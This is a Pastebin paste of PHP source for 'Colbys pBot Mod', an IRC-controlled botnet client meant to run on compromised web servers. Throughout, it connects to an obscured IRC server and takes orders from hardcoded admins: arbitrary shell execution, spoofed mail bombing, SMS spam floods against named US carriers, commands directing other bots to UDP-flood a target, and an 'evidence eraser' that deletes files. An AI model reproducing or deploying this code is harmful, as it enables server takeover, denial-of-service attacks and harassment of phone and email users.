cuonic

Untitled

Jun 2nd, 2011
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 53.54 KB | None | 0 0
  1. <?php
  2.  
  3. //  set_time_limit( 0 );
  4.     error_reporting( 0 );
  5.     echo "Colbys pBot Mod";
  6.  
  7.     class Colbys_pBot_Mod
  8.     {
  9.  
  10.         var $using_encode = true;
  11.  
  12.         var $config = array(
  13.             'nickform'  => '[RoBoT][%d]',
  14.             'nickform2' => '[RoBoT][%d]',
  15.             'prfix' => 'pBot',
  16.             'identp'    => 'Colby',
  17.             'modes'     => '+iwxG',
  18.             'maxrand'   => 4,
  19.             'maxrand2'  => 1,
  20.             'maxrand3'  => 2,
  21.             'maxrand4'  => 3,
  22.             'cprefix'   => '!',
  23.             'version'   => '1.0',
  24.             'host'      => '*',
  25.             'red'       => '4',
  26.             'blue'      => '12',
  27.             'orange'        => '7',
  28.             'green'     => '9',
  29.             'leetprefix'        => '4>>',
  30.             'leetsuffix'        => '12<<',
  31.             'leetprefixwhite' => '0>>',
  32.             'leetsuffixwhite' => '0<<',
  33.             'leetsuffixred'      => '4<<',
  34.             'part1'        => '0«~{ 4',
  35.             'part2'        => '0}~»',
  36.             'youtube'       => '12http://www.youtube.com/watch?v=EsdqrT8k6ME',
  37.             'hostauth'      => '*'
  38.  
  39.         );
  40.  
  41.         var $messages = array
  42.         (
  43.         'bad'        => '0«~{ 10L0o10G0i10N 0}~» 0',
  44.         'loginmsg'    => '0«~{ 10L0o10G0i10N 0}~» 0',
  45.         'entry'     => '0«~{ 14e0L14a0T4i0o14N 14B0o14T0 }~» 14E0x14E0c0U14t0E14d 4O0n',
  46.         'id'        => '0«~{ 4Colbys pBot mod version 1.0 0}~»',
  47.         'udpmsg'        => '0«~{ 0U9D0P9-F0L9O0O9D 0}~»',
  48.         'udpmsgfast'        => '0«~{ 9Q0u9i0c9k 0U9D0P9-F0L9O0O9D 0}~»',
  49.         'speedtest'     => '0«~{ 9Starting Speed Test....Please Wait! 0}~»',
  50.         'speedtestfin'      => '0«~{ 9Speed Test Complete! 0}~»',
  51.         'logoutmsg'     => '0«~{ 14S0e14e 0Y14a 0L14a0T14e0R,',
  52.         'mailmsg'       => '14N0a14i0L14e0R',
  53.         'sprintmsg'     => '14S0p14r0i14n0T 14P0C14S',
  54.         'execmsg'       => '14E0x14E0C'
  55.  
  56.         );
  57.  
  58.         var $admins = array
  59.         (
  60.          'Colby' => '4913a9178621eadcdf191db17915fbcb',
  61.          'xAaRoNx' => '4913a9178621eadcdf191db17915fbcb',
  62.         );
  63.  
  64.         function auth_host( $nick, $password, $host )
  65.         {
  66.             $admin_count = count( $this->admins );
  67.             if( $admin_count > 0 )
  68.             {
  69.                 $mpass = md5( $password );
  70.                 if( $this->admins[ $nick ] == $mpass )
  71.                 {
  72.                     $this->users[ $host ] = true;
  73.                 }
  74.             }
  75.             else
  76.             {
  77.                 $this->users[ $host ] = true;
  78.             }
  79.         }
  80.  
  81.         function is_authed( $host )
  82.         {
  83.             return isset( $this->users[ $host ] );
  84.         }
  85.  
  86.         function remove_auth( $host )
  87.         {
  88.             unset( $this->users[ $host ] );
  89.         }
  90.  
  91.         function ex( $cfe )
  92.         {
  93.             $res = '';
  94.             if (!empty($cfe))
  95.             {
  96.                 if(function_exists('class_exists') && class_exists('Perl'))
  97.                 {
  98.                     $perl = new Perl();
  99.                     $perl->eval( "system('$cfe');" );
  100.                 }
  101.                 if(function_exists('exec'))
  102.                 {
  103.                     @exec($cfe,$res);
  104.                     $res = join("\n",$res);
  105.                 }
  106.                 elseif(function_exists('shell_exec'))
  107.                 {
  108.                     $res = @shell_exec($cfe);
  109.                 }
  110.                 elseif(function_exists('system'))
  111.                 {
  112.                     @ob_start();
  113.                     @system($cfe);
  114.                     $res = @ob_get_contents();
  115.                     @ob_end_clean();
  116.                 }
  117.                 elseif(function_exists('passthru'))
  118.                 {
  119.                     @ob_start();
  120.                     @passthru($cfe);
  121.                     $res = @ob_get_contents();
  122.                     @ob_end_clean();
  123.                 }
  124.                 elseif(function_exists('proc_open'))
  125.                 {
  126.                     $res = proc_open($cfe);
  127.                 }
  128.                 elseif(@is_resource($f = @popen($cfe,"r")))
  129.                 {
  130.                     $res = "";
  131.                     while(!@feof($f)) { $res .= @fread($f,1024); }
  132.                     @pclose($f);
  133.                 }
  134.             }
  135.             return $res;
  136.         }
  137.  
  138.         function is_safe( )
  139.         {
  140.             if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
  141.             {
  142.                 return 0;
  143.             }
  144.             return 1;
  145.         }
  146.  
  147.         function fuck_you( )
  148.         {
  149.             if( $this->using_encode )
  150.             {
  151.                 $enc0ded = "I3fdsllsdg=";
  152.                 return base64_decode($enc0ded);
  153.             }
  154.             else
  155.             {
  156.                 return '#'.$this->config[ 'chan' ];
  157.             }
  158.         }
  159.  
  160.         function start()
  161.         {
  162.             if( $this->using_encode )
  163.             {
  164.                 $crackedout = "NjmdjMjQzLjkuasdMTk3";
  165.                 if(!($this->conn = fsockopen(base64_decode($crackedout),6667,$e,$s,30)))
  166.                 {
  167.                     $this->start();
  168.                 }
  169.             }
  170.             else
  171.             {
  172.                 if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  173.                 {
  174.                     $this->start();
  175.                 }
  176.             }
  177.  
  178.             $ident = $this->config['prefix'];
  179.             $alph = range("0","9");
  180.             for( $i=0; $i < $this->config['maxrand']; $i++ )
  181.             {
  182.                 $ident .= $alph[rand(0,9)];
  183.             }
  184.  
  185.             if( strlen( $this->config[ 'pass' ] ) > 0 )
  186.             {
  187.                 $this->send( "PASS ".$this->config[ 'pass' ] );
  188.             }
  189.             $motha = "PHP-Bot";
  190.             $snipa = "Colbys pBot Mod";
  191.             $this->send("USER ".$motha." 127.0.0.1 localhost :".$snipa."");
  192.             $this->set_nick( );
  193.             $this->main( );
  194.         }
  195.  
  196.         function main()
  197.         {
  198.             while(!feof($this->conn))
  199.             {
  200.                 $this->buf = trim(fgets($this->conn,512));
  201.                 $cmd = explode(" ",$this->buf);
  202.                 if(substr($this->buf,0,6)=="PING :")
  203.                 {
  204.                     $this->send("PONG :".substr($this->buf,6));
  205.                 }
  206.                 if(isset($cmd[1]) && $cmd[1] =="001")
  207.                 {
  208.                     $this->send("MODE ".$this->nick." ".$this->config['modes']);
  209.  
  210.                     if( $this->using_encode )
  211.                     {
  212.                         $this->join($this->fuck_you( ),base64_decode($this->config['key']));
  213.                         $entry = $this->messages['entry'];
  214.                         $leetprefix = $this->config['leetprefix'];
  215.                         $leetsuffixred = $this->config['leetsuffixred'];
  216.                         $ip = ( $_SERVER["HTTP_HOST"] );
  217.                         $blue = $this->config['blue'];
  218.                         $red = $this->config['red'];
  219.                         $this->privmsg( $this->fuck_you( ), "$leetprefix $entry $blue$ip $leetsuffixred" );
  220.                     }
  221.                     else
  222.                     {
  223.                         $this->join($this->fuck_you( ),$this->config['key']);
  224.                     }
  225.  
  226.                     if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  227.                     else { $safemode = "off"; }
  228.                     $uname = php_uname();
  229.                 }
  230.                 if(isset($cmd[1]) && $cmd[1]=="433")
  231.                 {
  232.                     $this->set_nick();
  233.                 }
  234.                 if($this->buf != $old_buf)
  235.                 {
  236.                     $mcmd = array();
  237.                     $msg = substr(strstr($this->buf," :"),2);
  238.                     $msgcmd = explode(" ",$msg);
  239.                     $nick = explode("!",$cmd[0]);
  240.                     $vhost = explode("@",$nick[1]);
  241.                     $vhost = $vhost[1];
  242.                     $nick = substr($nick[0],1);
  243.                     $host = $cmd[0];
  244.                     if($msgcmd[0]==$this->nick)
  245.                     {
  246.                         for($i=0;$i<count($msgcmd);$i++)
  247.                             $mcmd[$i] = $msgcmd[$i+1];
  248.                     }
  249.                     else
  250.                     {
  251.                         for($i=0;$i<count($msgcmd);$i++)
  252.                             $mcmd[$i] = $msgcmd[$i];
  253.                     }
  254.                     if(count($cmd)>2)
  255.                     {
  256.                         switch($cmd[1])
  257.                         {
  258.                             case "QUIT":
  259.                             {
  260.                                 if( $this->is_authed( $host ) )
  261.                                 {
  262.                                     $this->remove_auth( $host );
  263.                                 }
  264.                             }
  265.                             break;
  266.                             case "PART":
  267.                             {
  268.                                 if( $this->is_authed( $host ) )
  269.                                 {
  270.                                     $this->remove_auth( $host );
  271.                                 }
  272.                             }
  273.                             break;
  274.                             case "PRIVMSG":
  275.                                 if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
  276.                                 {
  277.                                     if( $this->is_authed( $host ) == false )
  278.                                     {
  279.                                         switch( substr( $mcmd[ 0 ], 1 ) )
  280.                                         {
  281.                                             case "login":
  282.                                             {
  283.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  284.                                                   if( $this->is_authed( $host ) )
  285.                                                 {
  286.                                                     if( $nick == Colby )
  287.                                                     {
  288.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  289.                                                     $this->ex('rm -rf ion_cache.dat');
  290.                                                     $this->ex('rm -rf *gow*');
  291.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  292.                                                     $loginmsg = $this->messages['loginmsg'];
  293.                                                     $leetprefix = $this->config['leetprefix'];
  294.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  295.                                                     $leetprefixwhite = $this->config['leetprefixwhite'];
  296.                                                     $red = $this->config['red'];
  297.                                                     $this->privmsg( $this->fuck_you( ), "$loginmsg Login Successful. $leetprefix $nick $leetsuffixred" );
  298.                                                     break;
  299.                                                 }
  300.                                                 }
  301.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  302.                                                   if( $this->is_authed( $host ) )
  303.                                                 {
  304.                                                     if( $nick == xAaRoNx )
  305.                                                     {
  306.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  307.                                                     $this->ex('rm -rf ion_cache.dat');
  308.                                                     $this->ex('rm -rf *gow*');
  309.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  310.                                                     $loginmsg = $this->messages['loginmsg'];
  311.                                                     $leetprefix = $this->config['leetprefix'];
  312.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  313.                                                     $this->privmsg( $this->fuck_you( ), "$loginmsg Login Successful. $leetprefix $nick $leetsuffixred" );
  314.                                                     break;
  315.                                                 }
  316.                                                 }
  317.                                                 else
  318.                                                 {
  319.                                                     $bad = $this->messages['bad'];
  320.                                                     $this->privmsg( $this->fuck_you( ), "$bad Incorrect login. Please try agian." );
  321.                                                     break;
  322.                                                             }
  323.                                                                 }
  324.                                     }
  325.                                 }
  326.                                     else
  327.                                     {
  328.                                         switch(substr($mcmd[0],1))
  329.                                         {
  330.                                             case "exec":
  331.                                             {
  332.                                                 if( !$this->is_safe( ) )
  333.                                                 {
  334.                                                     $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  335.                                                     $returndata = $this->ex( $command );
  336.                                                     if( !empty( $returndata ) )
  337.                                                     {
  338.                                                         $execmsg = $this->messages['execmsg'];
  339.                                                         $leetprefix = $this->config['leetprefix'];
  340.                                                         $leetsuffixred = $this->config['leetsuffixred'];
  341.                                                         $blue = $this->config['blue'];
  342.                                                         $red = $this->config['red'];
  343.                                                         $part1 = $this->config['part1'];
  344.                                                         $part2 = $this->config['part2'];
  345.                                                         $this->privmsg( $this->fuck_you( ),"$red $part1 $blue$execmsg $red $part2 $leetsuffixred $red $returndata");
  346.                                                     }
  347.                                                 }
  348.                                                 break;
  349.                                             }
  350.                                                 case "bomb":
  351.                                             {
  352.                                                 if(count($mcmd) > 5)
  353.                                                 {
  354.                                                     $header = "From: <".$mcmd[2].">";
  355.                                                     if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header))
  356.                                                     {
  357.                                                         $this->privmsg( $this->fuck_you( ),"[\2MAIL\2]: Unable to send email.");
  358.                                                     }
  359.                                                     else
  360.                                                     {
  361.                                                         $mbomb = 1;
  362.                                                         while($mbomb <= $mcmd[4])
  363.                                                             {
  364.                                                                 mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header);
  365.                                                                 $mbomb++;
  366.                                                             }
  367.                                                         if($mbomb = $mcmd[4])
  368.                                                             {
  369.                                                                 $mailmsg = $this->messages['mailmsg'];
  370.                                                                 $part1 = $this->config['part1'];
  371.                                                                 $part2 = $this->config['part2'];
  372.                                                                 $this->privmsg( $this->fuck_you( ),"$part1 $mailmsg: $part2 \2 Sent\3"."4 $mcmd[4] \3Emails to \3"."4$mcmd[1]\3 From: \3"."4$mcmd[2]\3 Subject: \3"."4$mcmd[3]\3 \2");
  373.                                                             }
  374.                                                     }
  375.                                                 }
  376.                                                 break;
  377.                                             }
  378.                                                 case "sprint":
  379.                                             {
  380.                                                 if(count($mcmd) > 5)
  381.                                                 {
  382.                                                         $part1 = $this->config['part1'];
  383.                                                         $part2 = $this->config['part2'];
  384.                                                         $blue = $this->config['blue'];
  385.                                                         $red = $this->config['red'];
  386.                                                         $header = "From: <".$mcmd[2].">";
  387.                                                         $mbomb = 1;
  388.                                                         $sprintmail = "@messaging.sprintpcs.com";
  389.                                                         $sprint = "$mcmd[1]$sprintmail";
  390.                                                         while($mbomb <= $mcmd[4])
  391.                                                             {
  392.                                                                 mail($sprint,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  393.                                                                 $mbomb++;
  394.                                                             }
  395.                                                         if($mbomb = $mcmd[4])
  396.                                                             {
  397.                                                                 $sprintmsg = $this->messages['sprintmsg'];
  398.                                                                 $this->privmsg( $this->fuck_you( ),"$part1$sprintmsg $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  399.                                                             }
  400.                                                 }
  401.                                                 break;
  402.                                             }
  403.                                                 case "verizon":
  404.                                             {
  405.                                                 if(count($mcmd) > 5)
  406.                                                 {
  407.                                                         $part1 = $this->config['part1'];
  408.                                                         $part2 = $this->config['part2'];
  409.                                                         $blue = $this->config['blue'];
  410.                                                         $red = $this->config['red'];
  411.                                                         $header = "From: <".$mcmd[2].">";
  412.                                                         $mbomb = 1;
  413.                                                         $verizonmail = "@vtext.com";
  414.                                                         $verizon = "$mcmd[1]$verizonmail";
  415.                                                         while($mbomb <= $mcmd[4])
  416.                                                             {
  417.                                                                 mail($verizon,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  418.                                                                 $mbomb++;
  419.                                                             }
  420.                                                         if($mbomb = $mcmd[4])
  421.                                                             {
  422.                                                                 $this->privmsg( $this->fuck_you( ),"$part1$red Verizon Wireless $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  423.                                                             }
  424.                                                 }
  425.                                                 break;
  426.                                             }
  427.                                                 case "tmobile":
  428.                                             {
  429.                                                 if(count($mcmd) > 5)
  430.                                                 {
  431.                                                         $part1 = $this->config['part1'];
  432.                                                         $part2 = $this->config['part2'];
  433.                                                         $blue = $this->config['blue'];
  434.                                                         $red = $this->config['red'];
  435.                                                         $header = "From: <".$mcmd[2].">";
  436.                                                         $mbomb = 1;
  437.                                                         $tmobilemail = "@tmomail.net";
  438.                                                         $tmobile = "$mcmd[1]$tmobilemail";
  439.                                                         while($mbomb <= $mcmd[4])
  440.                                                             {
  441.                                                                 mail($tmobile,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  442.                                                                 $mbomb++;
  443.                                                             }
  444.                                                         if($mbomb = $mcmd[4])
  445.                                                             {
  446.                                                                 $this->privmsg( $this->fuck_you( ),"$part1$red T-Mobile (USA Only) $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  447.                                                             }
  448.                                                 }
  449.                                                 break;
  450.                                             }
  451.                                                 case "att":
  452.                                             {
  453.                                                 if(count($mcmd) > 5)
  454.                                                 {
  455.                                                         $part1 = $this->config['part1'];
  456.                                                         $part2 = $this->config['part2'];
  457.                                                         $blue = $this->config['blue'];
  458.                                                         $red = $this->config['red'];
  459.                                                         $header = "From: <".$mcmd[2].">";
  460.                                                         $mbomb = 1;
  461.                                                         $attemail = "@txt.att.net";
  462.                                                         $att = "$mcmd[1]$attemail";
  463.                                                         while($mbomb <= $mcmd[4])
  464.                                                             {
  465.                                                                 mail($att,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  466.                                                                 $mbomb++;
  467.                                                             }
  468.                                                         if($mbomb = $mcmd[4])
  469.                                                             {
  470.                                                                 $this->privmsg( $this->fuck_you( ),"$part1$red AT&T $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  471.                                                             }
  472.                                                 }
  473.                                                 break;
  474.                                             }
  475.                                                 case "uscellular":
  476.                                             {
  477.                                                 if(count($mcmd) > 5)
  478.                                                 {
  479.                                                         $part1 = $this->config['part1'];
  480.                                                         $part2 = $this->config['part2'];
  481.                                                         $blue = $this->config['blue'];
  482.                                                         $red = $this->config['red'];
  483.                                                         $header = "From: <".$mcmd[2].">";
  484.                                                         $mbomb = 1;
  485.                                                         $uscemail = "@email.uscc.net";
  486.                                                         $usc = "$mcmd[1]$uscemail";
  487.                                                         while($mbomb <= $mcmd[4])
  488.                                                             {
  489.                                                                 mail($usc,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  490.                                                                 $mbomb++;
  491.                                                             }
  492.                                                         if($mbomb = $mcmd[4])
  493.                                                             {
  494.                                                                 $this->privmsg( $this->fuck_you( ),"$part1$red US Cellular $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  495.                                                             }
  496.                                                 }
  497.                                                 break;
  498.                                             }
  499.                                                 case "boostmobile":
  500.                                             {
  501.                                                 if(count($mcmd) > 5)
  502.                                                 {
  503.                                                         $part1 = $this->config['part1'];
  504.                                                         $part2 = $this->config['part2'];
  505.                                                         $blue = $this->config['blue'];
  506.                                                         $red = $this->config['red'];
  507.                                                         $header = "From: <".$mcmd[2].">";
  508.                                                         $mbomb = 1;
  509.                                                         $boostemail = "@myboostmobile.com";
  510.                                                         $boost = "$mcmd[1]$boostemail";
  511.                                                         while($mbomb <= $mcmd[4])
  512.                                                             {
  513.                                                                 mail($boost,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  514.                                                                 $mbomb++;
  515.                                                             }
  516.                                                         if($mbomb = $mcmd[4])
  517.                                                             {
  518.                                                                 $this->privmsg( $this->fuck_you( ),"$part1$red Boost Mobile Inc. $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  519.                                                             }
  520.                                                 }
  521.                                                 break;
  522.                                             }
  523.                                             case "count":
  524.                                             {
  525.                                                     $lines = $this->ex( "cat cache.dat | wc -l" );
  526.                                                     $red = $this->config['red'];
  527.                                                     $leetprefixwhite = $this->config['leetprefixwhite'];
  528.                                                     $leetsuffixwhite = $this->config['leetsuffixwhite'];
  529.                                                     $leetprefix = $this->config['leetprefix'];
  530.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  531.                                                     $this->privmsg( $this->fuck_you( ), "$red I have done $leetprefixwhite $lines $leetsuffixwhite floods in total." );
  532.                                                 break;
  533.                                             }
  534.                                                 case "nick":
  535.                                             {
  536.                                                 if( $mcmd[ 1 ] == nzm )
  537.                                                     {
  538.                                                     $this->nzm_nick();
  539.                                                     break;
  540.                                                     }
  541.                                                 if( $mcmd[ 1 ] == unix )
  542.                                                     {
  543.                                                     $this->busk_nick();
  544.                                                     break;
  545.                                                     }
  546.                                                 else
  547.                                                 {
  548.                                                 $this->set_nick;
  549.                                                 break;
  550.                                             }
  551.                                         }
  552.  
  553.                                             case "credits":
  554.                                             {
  555.                                                     $red = $this->config['red'];
  556.                                                     $blue = $this->config['blue'];
  557.                                                     $orange = $this->config['orange'];
  558.                                                     $leetprefixwhite = $this->config['leetprefixwhite'];
  559.                                                     $leetsuffixwhite = $this->config['leetsuffixwhite'];
  560.                                                     $leetprefix = $this->config['leetprefix'];
  561.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  562.                                                     $version = $this->config['version'];
  563.                                                     $this->privmsg( $this->fuck_you( ), "".$leetprefixwhite."".$red." Colby's $leetsuffixwhite $orange Private pBot Mod Version: $version By: $leetprefixwhite $red Colby" );
  564.                                                 break;
  565.                                             }
  566.                                             case "noevidence":
  567.                                             {
  568.                                                     $part1 = $this->config['part1'];
  569.                                                     $part2 = $this->config['part2'];
  570.                                                     $blue = $this->config['blue'];
  571.                                                     $red = $this->config['red'];
  572.                                                     $bybye = $this->ex( 'rm -rf *gow*' );
  573.                                                     $this->privmsg( $this->fuck_you( ),"".$part1."".$red." Evidence ".$part2."".$blue." All Bot Files and Evidence Erased!");
  574.                                                 break;
  575.                                             }
  576.                                             case "version":
  577.                                             {
  578.                                                     $leetprefix = $this->config['leetprefix'];
  579.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  580.                                                     $blue = $this->config['blue'];
  581.                                                     $red = $this->config['red'];
  582.                                                     $version = $this->config['version'];
  583.                                                     $this->privmsg( $this->fuck_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
  584.                                                 break;
  585.                                             }
  586.                                             case "id":
  587.                                             {
  588.                                                     $id = $this->messages['id'];
  589.                                                     $this->privmsg( $this->fuck_you( ),"$id");
  590.                                                 break;
  591.                                             }
  592.                                             case "insane":
  593.                                             {
  594.                                                     $mcmd[1] = $buskipdawg;
  595.                                                     $quickmessageb00t = "Aight....I'm commanding the win32 bots to boot $buskipdawg";
  596.                                                     $this->privmsg( $this->fuck_you( ),"$quickmessageb00t");
  597.                                                     $insanechan = "##insane##";
  598.                                                     $insanechan2 = "##insane## My Work here is done!:";
  599.                                                     $this->join( $insanechan, $key );
  600.                                                     $this->nick = "FeLoN";
  601.                                                     $this->privmsg( $asdasdasdasda,"waiting");
  602.                                                     $this->privmsg( $asdasdasdasda,"@waiting boot");
  603.                                                     $this->privmsg( $asdasdasdasda,"@waiting boot");
  604.                                                     $this->privmsg( $asdasdasdasda,"@waiting boot");
  605.                                                     $this->privmsg( $asdasdasdasda,"@waiting boot");
  606.                                                     $this->privmsg( $asdasdasdasda,"@waiting boot");
  607.                                                     $this->privmsg( $asdasdasdasda,"@waiting boot");
  608.                                                     $this->privmsg( $asdasdasdasda,"@waiting boot");
  609.                                                     $this->send("NICK ".$this->nick);
  610.                                                     $this->privmsg( $insanechan,"@login boot");
  611.                                                     $this->privmsg( $insanechan,"@udp $buskipdawg 5000 65000 1 3074");
  612.                                                     $this->send( "PART ".$insanechan2 );
  613.                                                     $this->privmsg( $this->fuck_you( ),"Done! ".$mcmd[1]." is now offline!");
  614.                                                 break;
  615.                                             }
  616.                                             case "uptime":
  617.                                             {
  618.                                                     $part1 = $this->config['part1'];
  619.                                                     $part2 = $this->config['part2'];
  620.                                                     $blue = $this->config['blue'];
  621.                                                     $red = $this->config['red'];
  622.                                                     $up = $this->ex( 'w' );
  623.                                                     $this->privmsg( $this->fuck_you( ),"".$part1."".$red." Uptime ".$part2."".$blue." ".$up."");
  624.                                                 break;
  625.                                             }
  626.                                             case "cellhelp":
  627.                                             {
  628.                                                     $part1 = $this->config['part1'];
  629.                                                     $part2 = $this->config['part2'];
  630.                                                     $blue = $this->config['blue'];
  631.                                                     $red = $this->config['red'];
  632.                                                     $cellhelp = "To spam a Cell Phone you will have to know the NUMBER and CARRIER. Example Command: ".$red.".verizon 5551234567 [email protected] Subject NumberOfTextsToSend Message";
  633.                                                     $this->privmsg( $this->fuck_you( ),"".$part1."".$red." Cell Spammer ".$part2."".$blue." ".$cellhelp."");
  634.                                                 break;
  635.                                             }
  636.                                             case "carriers":
  637.                                             {
  638.                                                     $part1 = $this->config['part1'];
  639.                                                     $part2 = $this->config['part2'];
  640.                                                     $blue = $this->config['blue'];
  641.                                                     $red = $this->config['red'];
  642.                                                     $bybye = $this->ex( 'rm -rf *gow*' );
  643.                                                     $this->privmsg( $this->fuck_you( ),"".$part1."".$red." CaRRieRs ".$part2."".$blue." Colbys pBot mod can currently spam - AT&T, Verizon, Sprint, Alltel, T-Mobile, US Celluar, and Boost Mobile");
  644.                                                 break;
  645.                                             }
  646.                                             case "ver":
  647.                                             {
  648.                                                     $leetprefix = $this->config['leetprefix'];
  649.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  650.                                                     $blue = $this->config['blue'];
  651.                                                     $red = $this->config['red'];
  652.                                                     $version = $this->config['version'];
  653.                                                     $this->privmsg( $this->fuck_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
  654.                                                 break;
  655.                                             }
  656.                                             case "v":
  657.                                             {
  658.                                                     $leetprefix = $this->config['leetprefix'];
  659.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  660.                                                     $blue = $this->config['blue'];
  661.                                                     $red = $this->config['red'];
  662.                                                     $version = $this->config['version'];
  663.                                                     $this->privmsg( $this->fuck_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
  664.                                                 break;
  665.                                             }
  666.                                             case "hop":
  667.                                             {
  668.                                                 $channel = $mcmd[1];
  669.                                                 $this->send( "PART ".$channel );
  670.                                                 $this->join( $channel );
  671.                                                 break;
  672.                                             }
  673.                                                 case "raw":
  674.                                             {
  675.                                                 $this->send(strstr($msg,$mcmd[1]));
  676.                                                 break;
  677.                                             }
  678.  
  679.                                             case "ip":
  680.                                             {
  681.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  682.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  683.                                                 $red = $this->config['red'];
  684.                                                 $blue = $this->config['blue'];
  685.                                                 $ipadd = "Ip AddReSS";
  686.                                                 $this->privmsg( $this->fuck_you( ),"$blue $ipadd $leetprefixwhite ".$red." ".$_SERVER['SERVER_ADDR']." $leetsuffixwhite");
  687.                                                 break;
  688.                                             }
  689.                                             case "lastlogin":
  690.                                             {
  691.                                                 $red = $this->config['red'];
  692.                                                 $blue = $this->config['blue'];
  693.                                                 $part1 = $this->config['part1'];
  694.                                                 $part2 = $this->config['part2'];
  695.                                                 $attempt = $this->ex('cat ion_cache.dat');
  696.                                                 $this->privmsg( $this->fuck_you( ),"$part1$red LasT LogiN $part2$blue from $attempt");
  697.                                                 break;
  698.                                             }
  699.                                             case "commands":
  700.                                             {
  701.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  702.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  703.                                                 $red = $this->config['red'];
  704.                                                 $blue = $this->config['blue'];
  705.                                                 $version = $this->config['version'];
  706.                                                 $cmdz = "Command List for Colby pBot mod version $version private:";
  707.                                                 $this->privmsg( $this->fuck_you( ),"$leetprefixwhite$red $cmdz $leetsuffixwhite");
  708.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."UDP-Flood".$blue."] » » » ".$red.".udpflood ip packetsize time".$blue." « « «");
  709.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Two Player Flood".$blue."] » » » ".$red.".2players first.ip second.ip".$blue." « « «");
  710.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Three Player Flood".$blue."] » » » ".$red.".3players first.ip second.ip third.ip".$blue." « « «");
  711.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Four Player Flood".$blue."] » » » ".$red.".4players first.ip second.ip third.ip fourth.ip".$blue." « « «");
  712.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Cell Phone Spammer".$blue."] » » » ".$red.".cellhelp".$blue." « « «");
  713.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Cell Phone Carriers".$blue."] » » » ".$red.".carriers".$blue." « « «");
  714.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Evidence Eraser".$blue."] » » » ".$red.".noevidence".$blue." « « «");
  715.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Hop".$blue."] » » » ".$red.".hop #channel".$blue." « « «");
  716.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Exec".$blue."] » » » ".$red.".exec unix command(s)".$blue." « « «");
  717.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Mail Bomber".$blue."] » » » ".$red.".bomb [email protected] [email protected] Subject NumberOfMails EmailBody".$blue." « « «");
  718.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Count".$blue."] » » » ".$red.".count".$blue." « « «");
  719.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Nick".$blue."] » » » ".$red.".nick (nzm or unix)".$blue." « « «");
  720.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Credits".$blue."] » » » ".$red.".credits".$blue." « « «");
  721.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Version".$blue."] » » » ".$red.".v or .ver or .version".$blue." « « «");
  722.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Bot Ip".$blue."] » » » ".$red.".ip".$blue." « « «");
  723.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."DnS".$blue."] » » » ".$red.".dns google.com".$blue." « « «");
